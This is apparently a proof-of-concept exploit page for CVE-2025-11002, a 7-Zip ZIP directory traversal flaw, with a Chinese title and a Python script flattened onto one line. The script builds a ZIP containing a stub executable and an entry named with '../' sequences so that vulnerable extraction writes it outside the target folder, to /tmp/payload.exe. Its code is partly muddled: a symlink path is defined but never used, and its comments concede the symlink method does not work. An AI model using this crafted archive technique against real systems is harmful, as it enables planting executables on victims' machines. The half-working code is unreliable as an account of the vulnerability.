CVE-2025-11002: 7-Zip ZIP文件解析目录遍历远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-11002 PoC - 7-Zip ZIP Directory Traversal RCE # This PoC demonstrates the directory traversal vulnerability in 7-Zip's symlink handling import zipfile import os import sys def create_malicious_zip(output_path): """ Create a malicious ZIP file with symlink to achieve directory traversal """ # Create symlink pointing to system startup directory # In real attack, this would be crafted to write to startup folder symlink_target = "../../../../../../../../Windows/System32" malicious_filename = "malicious.exe" # Create the malicious executable content malicious_content = b'MZ' + b'\x00' * 100 + b'\x90' * 100 with zipfile.ZipFile(output_path, 'w') as zipf: # Add the malicious file zipf.writestr(malicious_filename, malicious_content) # Add symlink entry (implementation depends on ZIP format support) # Note: Standard ZIP doesn't support symlinks, but 7-Zip may create them # from filenames containing path traversal sequences # Alternative: Create entry with path traversal in filename traversal_name = "../../../../tmp/payload.exe" zipf.writestr(traversal_name, malicious_content) print(f"[+] Created malicious ZIP: {output_path}") print(f"[+] Contains file: {traversal_name}") print(f"[!] When extracted by vulnerable 7-Zip, file will be written to /tmp/payload.exe") def verify_zip_structure(zip_path): """Verify the ZIP file structure""" with zipfile.ZipFile(zip_path, 'r') as zipf: print("\n[+] ZIP file contents:") for info in zipf.infolist(): print(f" - {info.filename}") if __name__ == "__main__": output_file = "CVE-2025-11002_poc.zip" create_malicious_zip(output_file) verify_zip_structure(output_file) print("\n[!] This PoC demonstrates the vulnerability concept.") print("[!] In real attacks, the symlink would be crafted to write to executable paths.")